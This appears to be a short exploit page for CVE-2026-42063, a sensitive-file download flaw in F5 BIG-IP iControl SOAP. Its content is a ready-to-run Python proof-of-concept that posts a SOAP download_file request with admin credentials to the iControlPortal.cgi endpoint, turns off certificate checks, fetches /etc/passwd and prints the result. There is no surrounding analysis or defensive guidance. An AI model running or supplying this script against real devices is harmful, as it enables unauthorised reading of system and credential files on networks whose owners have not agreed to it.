CVE-2026-42063: F5 iControl SOAP 敏感文件下载漏洞

#!/usr/bin/env python3 # CVE-2026-42063 PoC: F5 BIG-IP iControl SOAP Sensitive File Download # Author: Security Analyst # Description: Exploits the vulnerability to download sensitive files via iControl SOAP. import requests import sys # Configuration target_host = "https://<TARGET_IP>" username = "<ADMIN_USER>" password = "<ADMIN_PASS>" file_path = "/etc/passwd" # Sensitive file to download # iControl SOAP Endpoint url = f"{target_host}/iControl/iControlPortal.cgi" # SOAP Payload for System.ConfigSync.download_file headers = { "Content-Type": "text/xml; charset=utf-8", "SOAPAction": "urn:iControl:System/ConfigSync" } soap_body = f"""<?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="urn:iControl:System/ConfigSync"> <SOAP-ENV:Body> <ns1:download_file> <ns1:file_name>{file_path}</ns1:file_name> <ns1:recursive>false</ns1:recursive> </ns1:download_file> </SOAP-ENV:Body> </SOAP-ENV:Envelope>""" try: print(f"[*] Attempting to connect to {target_host}...") response = requests.post(url, data=soap_body, headers=headers, auth=(username, password), verify=False, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content:") print(response.text) else: print(f"[-] Failed to exploit. Status Code: {response.status_code}") print(response.text) except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}")